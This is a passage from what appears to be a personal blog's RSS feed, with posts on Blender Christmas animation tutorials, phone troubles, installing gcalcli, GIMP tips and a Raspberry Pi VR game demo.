<img src="images/cable_modifications_motog.jpg" alt="photo of badly doctored usb cable with superglue, cable ties and metal brackets">

So for the last few months that is what I strap my phone into each night.

Over night charging! What a joke, everything is 15min charge now.
</description>
</item>
<item>
<title>a blended sequence of tree balls</title>
<pubDate>Thu, 09 Mar 2017 21:34:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p090320172134</link>
<description>
So we are finally on the last [url title="Christmas 2016"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] tutorial, [em]Video Composite[/em].

Blender has a truly amazing video editor and for the longest time I had no idea it was there!

<img src="images/xmas2016/blender_xmas_2016_video_seq.jpg" alt="Blender 3D software screenshot showing video sequence editor">

So I had created a nice video of a Christmas tree with falling presents and a separate video or a bauble wishing everyone happy holidays. But how to combine them?

I knew it must be possible and first attempt was to re-render the bauble sequence to alpha PNGs. It worked but was a right pain. So second time around when I wanted to render in higher resolution I tried to be a bit cleverer.

This time instead of combining two individual videos I set one track to be the Blender [em]Scene[/em]. Worked a treat, set the bauble scene as the top most layer and set [em]Blend[/em] to [em]Alpha Over[/em] and the [em]Alpha Mod[/em] to [em]Transparent[/em]. Blender then happily rendered the scene frame by frame over the video!

Finally I checked [em]Use Backdrop[/em] to see the frames in the track editor. There was a bit of fun when scrubbing through the video in the editor in that Blender and render the frame before I could see it.

Speaking of re-rendering, when I re-rendered the main tree scene in 1920x1080 it took 23 minutes less than 24 hours!

Original [url title="Xmas 2016 Video"]http://www.jumpstation.co.uk/flog/Feb2017.html#p190220172206[/url]


Now prepare for the high-speed [em]Tentacle[/em], coming soon
</description>
</item>
<item>
<title>raining blended presents in hull</title>
<pubDate>Thu, 09 Mar 2017 18:11:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p090320171811</link>
<description>
One more [url title="Christmas 2016"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] tutorial, [em]Presents[/em].

I had not done much with the [em]Physics tab[/em] so this was a bit of a roller coaster.

<img src="images/xmas2016/blender_xmas_2016_presents.png" alt="Blender 3D software screenshot showing animated presents and physics settings">

First up, the presents are incredibly simple. Just four differently scaled cubes with a plane extruded around them. Just the same, at first glance they do look like Christmas presents. The ribbons are [em]Parented[/em] to the cubes so they do not detach when falling.

I manually duplicated the set of presents and each time rotated the selection on the [em]Z[/em] axis.

The floor was set as [em]Rigid Body Passive[/em] and presents as [em]Rigid Body Box/Convex Hull[/em].

The video shows some presents digging into the floor. I would have liked to resolve this, but, time... In an attempt to mitigate the glitch I thickened the floor and increased the friction.

Also set some to [em]Box[/em] and others to [em]Convex Hull[/em], really not sure it made much difference. Same with [em]Collision Margin[/em].

Turned out to be one of those [em]Quality[/em] vs [em]Time[/em] &lt;shrug&gt;

Only one more to go, [em]Video Composite[/em]. 

Original [url title="Xmas 2016 Video"]http://www.jumpstation.co.uk/flog/Feb2017.html#p190220172206[/url]
</description>
</item>
<item>
<title>shrinkwrapped big blender bauble</title>
<pubDate>Tue, 07 Mar 2017 22:12:39 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p070320172212</link>
<description>
Quick [url title="Christmas 2016"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] tutorial, [em]Bauble[/em].

No images for this one. The [em]Bauble[/em] is a simple sphere with flat shading. The text is "wrapped" around the sphere using the [em]Shrinkwrap Modifier[/em].

To be fair the [em]Shrinkwrap Modifier[/em] did give  me a few headaches, so I set it wrap a little, applied it and then added it again. That is why, if you look closely, in the video you see the text is slightly raised off the [em]Bauble's[/em] surface.

I tried to do some clever lighting with an array of emitters but the effect is very weak. As I noted before, this was all a rush project.

Then the [em]Presents[/em] and finally [em]Video Composite[/em]. 

Original [url title="Xmas 2016 Video"]http://www.jumpstation.co.uk/flog/Feb2017.html#p190220172206[/url]
</description>
</item>
<item>
<title>blender lights up the tree lights randomly</title>
<pubDate>Tue, 07 Mar 2017 22:03:37 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p070320172203</link>
<description>
Still more [url title="Christmas 2016"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] tutorials, [em]Tree Light Colours[/em].

<img src="images/xmas2016/blender_xmas_2016_tree_lights_random_colour.png" alt="Blender 3D software screenshot showing node setup for random colours">

So we have our Christmas tree lights but they are all the same colour. Blenders [em]Node system[/em] allows us to set and tweak all sorts of properties for materials.

Here we add an [em]Object Info Input Node[/em] and use the [em]Random[/em] as the in put to a [em]ColorRamp[/em]. Where, instead of having nice blended colours we have [em]4 Constant[/em] colours which in turn are the input for an [em]Emission Shader[/em].

This ensures our lights "shine".

The same setup was created for the [em]Tinsel[/em] except with a [em]Diffuse BSDF Shader[/em] and three colours, grey, green and red.

Next time we will switch to the [em]Bauble[/em]. 

Original [url title="Xmas 2016 Video"]http://www.jumpstation.co.uk/flog/Feb2017.html#p190220172206[/url]
</description>
</item>
<item>
<title>blended christmas tree lights</title>
<pubDate>Tue, 07 Mar 2017 21:51:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p070320172151</link>
<description>
More in my [url title="Christmas 2016"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] tutorials, [em]Tree Lights[/em].

<img src="images/xmas2016/blender_xmas_2016_tree_lights.jpg" alt="Blender 3D software screenshot showing emitter system generating a ring of tree light objects">

Just like the [em]Tinsel[/em] we are using an [em]Emitter Particle System[/em] and again we are using circle as the base.

This time I created a very simple bulb shape from a squished sphere with a little extrusion at the top.

Rather than have the bulbs randomly arranged we want them to appear at each [em]Vertice[/em] so we set the [em]Emit from:[/em] and the [em]Number[/em] accordingly.

Make sure the size is correct and that they are visible alive or dead and set the [em]Dupli Object[/em] to be my [em]bulb[/em].

No mucking around with orientation, it just uses copies of the bulbs as is.

There will be another in the [url title="Series"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] showing how the [em]Tree light got their colours[/em], see you next time. 

Original [url title="Xmas 2016 Video"]http://www.jumpstation.co.uk/flog/Feb2017.html#p190220172206[/url]
</description>
</item>
<item>
<title>xmas 2016 blendering up a ring of tinsel</title>
<pubDate>Sun, 05 Mar 2017 23:26:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p050320172326</link>
<description>
Another in my [url title="Christmas 2016"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] tutorials, [em]Tinsel[/em](i.e. not hair).

The [em]Tinsel[/em] looks like hair, but it is not. Instead I need to create long flat plane plane and used it a part of an emitter system create on an extruded circle.

<img src="images/xmas2016/blender_xmas_2016_tinsel.png" alt="Blender 3D software screenshot showing emitter system generating a ring of tinsel">

You can see the [em]Plane[/em] on the left named [em]tinsel leaf[/em]. [em]Emitters[/em] are different from [em]Hair[/em] in that you must deal with them in [em]time[/em]. Here I set the [em]Start[/em] and [em]End[/em] frames to be [em]1[/em] along with the [em]Lifetime[/em]. This because I want them to instantly exist.

It was important to only let the generated [em]tinsel[/em] only be random in rotation, not location. Hence the [em]Rotation Initial Orientation[/em] and [em]Velocity/Hair[/em].

[em]Emitters[/em] never come out the right size, [em]Size[/em] [em]0.120[/em]

Need to tell the [em]Emitter[/em] that it should show both [em]Unborn[/em] and [em]Dead[/em] particles.

Finally that the object for each particle is [em]Object Dupli Object[/em] [em]tinsel leaf[/em]

See you in part four, the [em]Tree lights[/em] (followed by [em]Tree light colours[/em] which is the same technique for colouring the tinsel. 

Original [url title="Xmas 2016 Video"]http://www.jumpstation.co.uk/flog/Feb2017.html#p190220172206[/url]
</description>
</item>
<item>
<title>xmas2016 blending up a tinsel ring</title>
<pubDate>Sun, 05 Mar 2017 23:12:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p050320172312</link>
<description>
Next in my [url title="Christmas 2016"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] tutorials we have the [em]Tree Fur[/em](i.e. hair).

Hair in Blender can be a bit fickle, with some options wildly changing the appearance and others only very subtly or only in combination of others.

<img src="images/xmas16/blender_xmas_2016_tree_particles.jpg" alt="Blender 3D software screenshot showing hair system for furry pine tree">

Here I have set a new [em]Particle System[/em] to type [em]Hair[/em] rather than the default of emitter and set the random [em]Seed[/em] to [em]2[/em]. This was just personal preference and some of the other seed values created clumping.

[em]Segments[/em] is set from [em]5[/em] to [em]2[/em](the minimum) as we do not need any detail. The fur tree spines are straight.

[em]Emission Number[/em] is not the total number of hair particles but the parent source number, see later.

[em]Hair length[/em] is set to [em]1[/em] for nice short spines.

[em]Children Simple[/em] gives a 100 folder increase of hair particles when rendered and the [em]Display[/em] amount can be kept low (e.g. 10) while in the editor.

[em]Random[/em] in [em]Children Simple[/em] is the amount the particles radiate outwards in random directions, rather than straight.

Continuing down the huge list of options I tried to tweak the [em]Cycles Hair Settings[/em] to make the spines more pointy. I am not sure it worked.

See you in part three, the [em]Tinsel[/em]. 

Original [url title="Xmas 2016 Video"]http://www.jumpstation.co.uk/flog/Feb2017.html#p190220172206[/url]
</description>
</item>
<item>
<title>xmas2016 blending a hairy fur tree</title>
<pubDate>Sun, 05 Mar 2017 22:48:18 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p050320172248</link>
<description>
Next in my [url title="Christmas 2016"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] tutorials we have the [em]Tree Fur[/em](i.e. hair).

Hair in Blender can be a bit fickle, with some options wildly changing the appearance and others only very subtly or only in combination of others.

<img src="images/xmas16/blender_xmas_2016_tree_particles.jpg" alt="Blender 3D software screenshot showing hair system for furry pine tree">

Here I have set a new [em]Particle System[/em] to type [em]Hair[/em] rather than the default of emitter and set the random [em]Seed[/em] to [em]2[/em]. This was just personal preference and some of the other seed values created clumping.

[em]Segments[/em] is set from [em]5[/em] to [em]2[/em](the minimum) as we do not need any detail. The fur tree spines are straight.

[em]Emission Number[/em] is not the total number of hair particles but the parent source number, see later.

[em]Hair length[/em] is set to [em]1[/em] for nice short spines.

[em]Children Simple[/em] gives a 100 folder increase of hair particles when rendered and the [em]Display[/em] amount can be kept low (e.g. 10) while in the editor.

[em]Random[/em] in [em]Children Simple[/em] is the amount the particles radiate outwards in random directions, rather than straight.

Continuing down the huge list of options I tried to tweak the [em]Cycles Hair Settings[/em] to make the spines more pointy. I am not sure it worked.

See you in part three, the [em]Tinsel[/em]. 

Original [url title="Xmas 2016 Video"]http://www.jumpstation.co.uk/flog/Feb2017.html#p190220172206[/url]
</description>
</item>
<item>
<title>xmas2016 blending tree cones</title>
<pubDate>Sun, 05 Mar 2017 22:07:30 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p050320172207</link>
<description>
The first part of my [url title="Christmas 2016"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] tutorials is going to be quite short.

Constructing the tree. Although it may not be all that obvious with all the fur(tutorial to follow), it is made up of simple cones.

This screen shows Blender with four cones in the background and then the same layout of cones joined together. Notice how all the cone point geometry is removed (bar the top one).

The cones are joined via the [em]Boolean Modifier[/em] set to [em]Union[/em] and that's it!

See you in part two, the [em]Fur[/em]. 

Original [url title="Xmas 2016 Video"]http://www.jumpstation.co.uk/flog/Feb2017.html#p190220172206[/url]
</description>
</item>
<item>
<title>flog notice of delayed christmas</title>
<pubDate>Tue, 28 Feb 2017 22:34:39 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2017.html#p280220172234</link>
<description>
FYI - I am collecting all the screen shots for the Christmas tree animation. There are a few and they are large, most more than 10x my old file size.
</description>
</item>
<item>
<title>amazon s3 takes dump on my new pixel watching pebble</title>
<pubDate>Tue, 28 Feb 2017 22:27:45 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2017.html#p280220172227</link>
<description>
My Moto G awesome Android phone has finally bitten the dust after 4 years. Charging it required a specially adapted cable and two rubber bands. The cable had two tiny metal brackets supper glued to anchor the rubber bands that held the power cable in the phone. Nothing else would would work!

I had tired multiple cables, had different people look at it including other Moto G owners. I had tried cleaning the socket, used jewels lens and found nothing. No obvious obstruction or bent component.

What I would love to talk about is my replacement phone the Google Pixel 32GB Really Blue (that's the model name "Really Blue"). But instead I need to note down that setting up the Pixel to use my Pebble Time watch has been annoying.

The transfer software did a good job of pulling all my apps expect for Fdroid across but of course they were missing the settings. Got all of updated manually and tried to get the Pebble app to sync. Eventually worked out that I need to kill the Bluetooth on the old phone, that was in range.

All looked good except my favourite watch face Enigma was nowhere to be seen even though lots of the custom ones I had were. Tried a few times to set it in the app and keep getting back "No internet connection". But I could go on to the Pebble store and select new watch faces and apps!

Turns out that Amazon S3 is down for most of the internet and that is where Pebble store the package files :(

Was getting very worried that Pebble/FitBit were not honouring their promise of keeping all the servers alive until the end of 2017 (at the minimum).
</description>
</item>
<item>
<title>3D Christmas in February thanks to blender</title>
<pubDate>Sun, 19 Feb 2017 22:06:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2017.html#p190220172206</link>
<description>
The Christmas animation, yes, I know it's February now.

<iframe width="560" height="315" src="https://www.youtube.com/embed/5INNeaPxEAA" frameborder="0" allowfullscreen></iframe>

I will be adding notes on each component in the video. Tree, tinsel, lights, presents, ball and video compositing.
</description>
</item>
<item>
<title>flog menu heavy on the blender</title>
<pubDate>Sun, 19 Feb 2017 19:28:30 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2017.html#p190220171928</link>
<description>
There is an out standing [em]flog[/em] menu, that I am working on.

Yearly review (bottom of my list)
Christmas Blender video (might do this in the next 10 mins)
Christmas Blender tutorials (need to revisit where I got with these previously)
Blender 3D tentacle video and tutorial
Start modelling 3D raspberry pi 3 (preferably before a 4 comes out!)
</description>
</item>
<item>
<title>3D disaster to 2D solution blender for the win</title>
<pubDate>Sun, 19 Feb 2017 19:10:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2017.html#p190220171910</link>
<description>
Sarah wanted me to spend a little time making a 1 minute video she could use for her business. The example she showed me was flying images form Facebook.

I took the challenge and we used Audacity to put together the multiple voice recordings she had made. Then I used Blender with the "Images as planes" Add-on enabled(it's built in but disabled by default). I then spent far too many hours trying to get the planes to animate towards the camera at the correct times.

Although the final cut did basically what I envisioned, it was not what Sarah wanted. When showing me the Facebook animation again I could see that it was not the animation she was looking for but the simple slide-show nature of the videos. My solutions did not leave the images on the screen very long and to quote "it was just animation".

I thought about how my mind had jumped to the 3D planes solution and I wondered if I could use Blender with no 3D. this time I setup the video sequencer, imported the audio track and all the images. Then it was just a process of arranging them and adding cross fades. 

Making sure the Playback sync AV option was on it was just a matter of scrubbing backwards and forwards, shuffling the start/end times to fit the speech.

From complete a complete disaster that took 3+hrs to a simple and perfect solution that took 30mins. Most of that 30mins was spent trying to work out why my cross fades were going backwards every now and then. I thought they were using the positioning of the tracks(channels) but it was related to which track was selected first that indicated the cross-fade from track.
</description>
</item>
<item>
<title>apple makes me sick</title>
<pubDate>Tue, 07 Feb 2017 23:09:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2017.html#p070220172309</link>
<description>
Apple Macs make me physically sick.

Got so stressed out following Apple's official instructions only to find that not only do they not work but there is no error message or way to find out what went wrong!

Hours wasted, so we gave up but then Microsoft gave us some jip and now the Mac is still not working properly.
</description>
</item>
<item>
<title>placeholder for real blogging</title>
<pubDate>Tue, 31 Jan 2017 21:26:05 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2017.html#p310120172126</link>
<description>
I did a cool Blender animation for Christmas. I am in the process of putting all the details together.

In other news I bit my tongue. Almost all the way through, nasty sneeze from a flu like sickness. Quite impressed how after three days there was only a tiny mark.

Before that went to Florida with the kids and built some Metal Earth models.
</description>
</item>
<item>
<title>Raspberry Pi Model B VR challenge</title>
<pubDate>Sun, 04 Dec 2016 11:59:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2016.html#p041220161159</link>
<description>
Here is the video of the Raspberry Pi Model B VR Challenge!

<iframe width="560" height="315" src="https://www.youtube.com/embed/wFX4mFt_HOc" frameborder="0" allowfullscreen></iframe>

You see all those posters around the room? In the original presented to HRH Princess Anne they were all corporate images of the company I was working with. In this version I used Blender to render out some more game related Pi posters.

As mentioned previously, I would like to rework this to use a Raspberry Pi 3 model and update an number of the elements.
</description>
</item>
<item>
<title>getting the cli google calendar not to barf</title>
<pubDate>Mon, 28 Nov 2016 21:53:18 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2016.html#p281120162153</link>
<description>
I like automation so I wanted to try <a href="https://github.com/insanum/gcalcli">Gcalcli</a> as command line way of entering appointments that would appear on my phone and I could see in Linux.

It has Gentoo package, easy life ! NOPE installed fine but got error 
<code class="output">ERROR: Missing module - No module named gflags</code>

Install from PIP as per <a href="https://github.com/insanum/gcalcli">instructions</a> NOPE
<code class="output">error: oauth2client 1.4.12 is installed but oauth2client&lt;5.0.0dev,&gt;=1.5.0 is required by set(['google-api-python-client'])
</code>

Install from source NOPE!!
<code class="output">raise VersionConflict(dist, req).with_context(dependent_req)
pkg_resources.ContextualVersionConflict: (oauth2client 1.4.12 (/usr/lib64/python2.7/site-packages), Requirement.parse('oauth2client<5.0.0dev,>=1.5.0'), set(['google-api-python-client']))
</code>

manually install specific dependencies NOPE
keep saying the same thing about versions even though each one had been downloaded from their respective source and was the newest.

find <a href="https://github.com/insanum/gcalcli/issues/237">secret source in a developer discussion</a> YES!
<code>pip install google-api-python-client==1.4.2
pip install oauth2client==1.4.12
</code>

Connect to Google account NOPE
Opened up a browser (ouch), forced me to log in to Google (ouch) then, after enabling the support ... it just sat there, tried multiple times.

Manually set up account YES
This involved copying and pasting the specially formatted URL in to a browser session in my VM and this time, after logging in and giving permission it gave me a secret to paste back into Gcalcli.

Long term usage
If you intend to use Gcalcli the you probably want a config file
<code class="output">~/.gcalclirc</code>
mine has
<code>--military
--calendar=NAMEOFCALENDAR
--detail_length
</code>
where [em]--military[/em] shows 24hr time, [em]--calendar=NAMEOFCALENDAR[/em] set the calendar to my NAMEOFCALENDAR and [em]--detail_length[/em] shows the number of hours or days an event is, otherwise it just shows the start date/time.

Now when I run one of the following
<code>gcalcli agenda
gcalcli calw
gcalcli calm
</code>
it automatically uses the correct calendar, in 24hr with the duration showing. [em]agenda[/em] is next 5 days, [em]calw[/em] is current week and [em]calm[/em] is current month.

Actually use the thing
Easiest way of adding an appointment is to cheat and use [em]--prompt[/em] then any parameters you have missed will be prompted, except the duration, which defaults to hours. Specify [em]--allday[/em]
<code>gcalcli add --prompt --title 'work late' --description 'working late.'</code>
<code class="output">Location: work
When: 2016/12/09 16:30
Duration (mins): 60
Enter a valid reminder or '.' to end: .
</code>
</description>
</item>
<item>
<title>exploding raspberry pi posters tip vr</title>
<pubDate>Sat, 26 Nov 2016 20:35:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2016.html#p261120162035</link>
<description>
Here a couple of the posters I made to go in VR to replace the corporate ones in my Raspberry Pi Model B game.

This one tells you that you start with a complete Pi and the initiating the [em]Start[/em] button a timer will start and the Pi will flip loosing all the components.
<img src="images/raspberry_pi_B_poster_tipped.jpg" alt="Rendered poster detailing the  Raspberry Pi model B game">

Where as this one shows where each component goes. The Game will highlight the correct location as well.
<img src="images/raspberry_pi_B_exploded_export.jpg" alt="Rendered poster of exploded Raspberry Pi model B detailing the components and where they go">

Really hope to have a video to show this working soon.
</description>
</item>
<item>
<title>gimp clones raspberry pi board for space</title>
<pubDate>Sat, 26 Nov 2016 19:38:18 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2016.html#p261120161938</link>
<description>
GIMP tricks : Clone tool

Spent ages looking for how to use this tool mainly because I was convinced that it was called area paint.

It is very clever, select where you want o paint from with the [em]CTRL[/em] key and then draw where you want to paint over with the "paint" under the original cursor.

The best way to think about it is a chess set with a few pieces on it. You get the brush size to be about a full chess square and click on the left best square (while holding [em]CTRL[/em]) where there are no pieces to your right. Now you draw from left to right over the the row where the pieces are. The brush will draw all the empty squares over the pieces. That analogy is bit flawed, as getting everything to line up perfectly would be a pain but you get the idea.

<img src="images/gimp_clone_tool_pattern.jpg" alt="GIMP screen shot showing clone tool and pattern selection">

What I did was copy a section of bare circuit board and the used the [em]Clone tool[/em] to make it bigger. I used the [em]Flip tool[/em] to make a tile-able image by copying it three times. Then I saved the file as [em].pat[/em] in my gimp user folder.

<code>~/.gimp-2.8/patterns/circuit\ plain.pat</code>

Then as in the screen shot above I selected it as a [em]Pattern[/em] (it has a refresh button so you do not have to reload GIMP) and now I can paint anywhere in any direction and get "circuit board". Worked very well and something else I had never used properly before.
</description>
</item>
<item>
<title>gimp path to selection trick</title>
<pubDate>Sat, 26 Nov 2016 16:55:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2016.html#p261120161655</link>
<description>
GIMP tricks : Paths and Path -&gt; Selection

The corners of the Raspberry Pi 3 are rounded and I need to trim my image. I tried various techniques to select the right piece of the corner but I never get it quite right. I needed a true mathematical curve.

Enter [em]Paths[/em]. The [em]Path tool[/em] and the [em]Path panel[/em] are highlighted in red here.

<img src="images/gimp_paths_selections.jpg" alt="GIMP screen shot showing path and path to selection">

The green highlights show how the tool works. Select [em]Design[/em] to add or move individual points. [em]Edit[/em] to change the curve parameters, length and direction. [em]Move[/em] allows you to move the entire curve as single unit.

I drew curve defining the Raspberry Pi corner and then added a cutting mask. The final path looks like a fat shoe.

Now I could convert my [em]Path[/em] into a [em]Selection[/em] and use that selection to remove any part of the image that was not Raspberry Pi.

[em]Paths[/em] are something I have never tried before. I will not be neglecting them again.
</description>
</item>
<item>
<title>GIMP history is news to me</title>
<pubDate>Sat, 26 Nov 2016 16:19:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2016.html#p261120161619</link>
<description>
GIMP tricks : History panel

<img src="images/gimp_history.jpg" alt="GIMP history panel selected">

I have used the keyboard short cuts [em]CTRL + z[/em](undo) and [em]CTRL + y[/em](redo) for many years and for basic errors it works very well. But when you are trying multiple steps to achieve a result it can be a pain.

What I did not realise is that GIMP has this separate [em]History[/em] panel that shows the visible changes that the different actions created. Best of all you can click to switch to between any of them!

Here I was just applying filters to see how they affected the result. During the Pi project I used them to see subtle differences to compare results of varied sharpening, contrast and despeckle actions.
</description>
</item>
<item>
<title>bad camera work led to dodgy lighting the pi</title>
<pubDate>Sat, 26 Nov 2016 14:35:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2016.html#p261120161435</link>
<description>
So it must have been easy getting that <a href="Nov2016.html#p261120161411">shot of the raspberry pi</a> with all the components removed?
NO!
I knew I needed to get a really detailed image so I tried a number of things.

First off I set the camera up in front of the Pi and took pictures of each corner.

<img src="images/pi_hires_shots_quadrants.jpg" alt="Collection of thumbnails taken of different parts of the Raspberry Pi at close range">

Although I could use the perspective and rotation tools in GIMP to get the images to line up, it was not perfect and it was a lot of hard work. So I tried something else.

I keep the camera and the Raspberry Pi completely still but varied the light. Which was just a LED torch.

<img src="images/pi_hires_shots_angle_lighting.jpg" alt="Collection of thumbnails taken of the Raspberry Pi with different light sources">

This was not 100% successful but at least all the different images lined up in GIMP. With the various exposures, some with flash, some with the torch pointed directly at different areas, I managed to get a amalgamation that allowed me to construct the base image.

The big problem with this technique is the shadows. If I set the light source to come from the left then the shadows all cover items on the right and vice versa. But also the perspective hides some parts of the board completely, especially from the larger components. I had to spend quite sometime mixing different parts of different layers to mostly remove all the shadows and reveal the hidden parts.

I will write a separate set to posts detailing GIMP tricks I learned.
</description>
</item>
<item>
<title>scaled down naked raspberry pi 3</title>
<pubDate>Sat, 26 Nov 2016 14:11:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2016.html#p261120161411</link>
<description>
I am about to be pulled off the Raspberry Pi 3 VR project for various reasons but I wanted to document how far I have got.

Here is a 1/4 scaled copy of the top of the Raspberry Pi 3 with all the components that will be modelled in 3D removed. It has to be a high resolution image or it does not look realistic in VR.

<img src="images/pi_top_components_removed.png" alt="Raspberry Pi model 3 top side all large components masked and removed"> 
</description>
</item>
<item>
<title>revive the vive story linking to the future of the royal family</title>
<pubDate>Tue, 22 Nov 2016 21:37:18 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2016.html#p221120162137</link>
<description>
Something strange happened last month and I have been trying to get to a point where I can share it here. Unfortunately I keep getting distracted by trying to make something better to present. As this is taking sometime I finally realised I need to blog something before it is all dust in the wind.

So, we were invited to present some Virtual Reality demos at the grand opening of the IET London Savoy Place building in London, literally next to the famous Savoy hotel. The person opening the building was none other than Princess Anne and security was tight. We were not allowed to talk about the appointment before the event.

I was tasked with working up a commercial building 3D file that could be walked around in VR with the HTC Vive. I had one month to do this. Which would have been fine except the file did not arrive until two days before the presentation and it was the same day we were going on holiday. So each night after the kids I had gone to bed while on holiday I would setup the Vive and work furiously to get the demo ready.

We had always planned on getting up early on the day of the demo and leave the holiday, come home, get dressed, drive to London, do the presentation, go home, get changed, go back to holiday. But it was a real pain getting up at 5am.

Back when all this was proposed I was interested in getting a 3D object of a Raspberry Pi. I had seen plenty of renderings done with Pi models and the discussions on the Pi boards were "this is done deal, the files are free" except not in a format I could use and not with very good definition. I eventually took models and images from various sources and edited them to my needs. The 3D files had bits that were not on my Pi and I had to rebuild others. The images for the board top and bottom were also not perfect, especially with what I had in mind for them. Eventually I got my model in blender and I started thinking what I needed to do in VR.

Although I had done a building walk-through with the Vive in Unity 3D previously, I wanted to learn more about Unity programming so I set myself a task. Import the Raspberry Pi model from blender with the hi-res imagery and then allow the user to pick up the loose parts.

You can see I got that working in the video I posted previously
<iframe width="560" height="315" src="https://www.youtube.com/embed/sVfsx0tEm2g" frameborder="0" allowfullscreen></iframe>

While waiting for the building files I was informed that the building opening would also be visited by a number of kids and could I create a VR experience that would appeal to them. I decide that the Raspberry Pi work could become a game.

This is were I pause... the model in the video above is not mine (though I worked on it a lot) and is the older Raspberry Pi Model B. I have been trying to recreate a model of the Raspberry Pi 3 before updating the game and getting rid of the corporate branding before posting this blog post detailing it all. Problem is it is talking a long time. I have taken numerous photos of my Pi and I have not even started on the 3D modelling yet.

Back to the programme. We setup the HTC Vive kit and got the two demos working, the Pi and the house and had my son wear the headset when Her Royal Highness came to our area(myself and my other son were relegated to the other side of the room for security). Although she was unaware, we had hit a slight problem. The VR is great for the wearer but the tiny laptop screen did not make very good viewing for anyone else. The venue had a massive TV and the I spent some time with the AV people trying to get a HDMI splitter to work. It refused and constantly crashed the HTC and the laptop. In the end we copied the above video and one showing a VR user walking around the demo house onto USB and plugged it into the TV so it ran as a sequence of videos.

After HRH left we setup the Pi game and the kids lined up. They loved it. Hit the Start button and the Pi flips over losing all its components, now the users had teleport around and find them and get each one back to the right place on the Pi. There was a 360 image of the street view surrounding the playing area and a huge timer floating in the air. Once all the pieces had been returned the timer stopped and coloured particles fell from the sky. To get people comfortable with the Vive and using the controllers I added some coloured balls you could pick up and throw around. I wanted to encourage the users to throw the Raspberry Pi parts as they would snap into place if they got near where they should be located.

I want to improve on the original. I have already re-done all the branded bits as Raspberry Pi and really just need to find time to setup the Vive and record the video. That is phase One. Then I want to finish the new Pi Model 3, re-do all the graphics, improve the game layout and design and then reveal it to the world. At least offer it to the Raspberry Pi foundation and then possibly to others.

Time, I just need more time. It does not help that I have been quite ill and have had to deal with various family matters.
</description>
</item>
<item>
<title>bluetooth is wireless but wireless is not bluetooth the truth</title>
<pubDate>Mon, 14 Nov 2016 21:45:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2016.html#p141120162145</link>
<description>
I was tasked with setting someone up with a Raspberry Pi 3. I had the SD card updated and a old monitor with HDMI converter. It all worked perfectly!

Until I took it to their house and found that the input was not what I expected. It would seem that the top answers on Pi forums and Google for the best input devices for a new Pi owner is not a USB keyboard and mouse but, instead a hybrid mini keyboard with in-built track-pad.

They look very cute and are wireless. It was this last bit that passed me by. I assumed that wireless and compatible with the Raspberry Pi 3 meant Bluetooth. There certainly are plenty of mini Bluetooth keyboards on the market.

This one (Rii I8)([url]http://www.riitek.com/product/mini.html[/url]) was handed to me sans box with only a flimsy instruction booklet. Step one ignore the booklet and spend 30 mins trying to work out why the Pi would not connect to it over Bluetooth(but it would find, not only mine but passers by's phones).
Finally after following numerous How-Tos on connecting with Bluetooth and reading the instructions over and over again we found a YouTube video
https://www.youtube.com/watch?v=alSEocPTqj8

and at the 4:33 mark he opens the battery cover and removes a dongle!

It's not Bluetooth, it's wireless!

Plug in dongle and it immediately starts working with the Pi :D

Although the Rii I8 is cute it is not the most practical thing to use for anything other than light surfing. The track-pad is tiny and this means a lot of repeated swiping to get the mouse cursor across the screen. For my giant hands the keys are just too small, but they do have a satisfying click action.
</description>
</item>
<item>
<title>OpenStreetMap breathes life into old Garmin</title>
<pubDate>Sun, 30 Oct 2016 16:50:07 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2016.html#p301020161650</link>
<description>
I was given an old Garmin satnav N&uuml;vi 1310 ages ago. The maps are 2011 and the battery life is almost non-existent. It does come with car 12v power cable and a windscreen mount.

Due to unforeseen circumstances my phone was unable perform it's usual Sat-Nav duties with <a href="https://www.waze.com">Waze</a> the most amazing free sat nav system available. So I dug out the Garmin from the bottom of my car boot. It did manage to get me to and from my destination, but did not take the optimum route. Problem being the out of date maps, 2011.

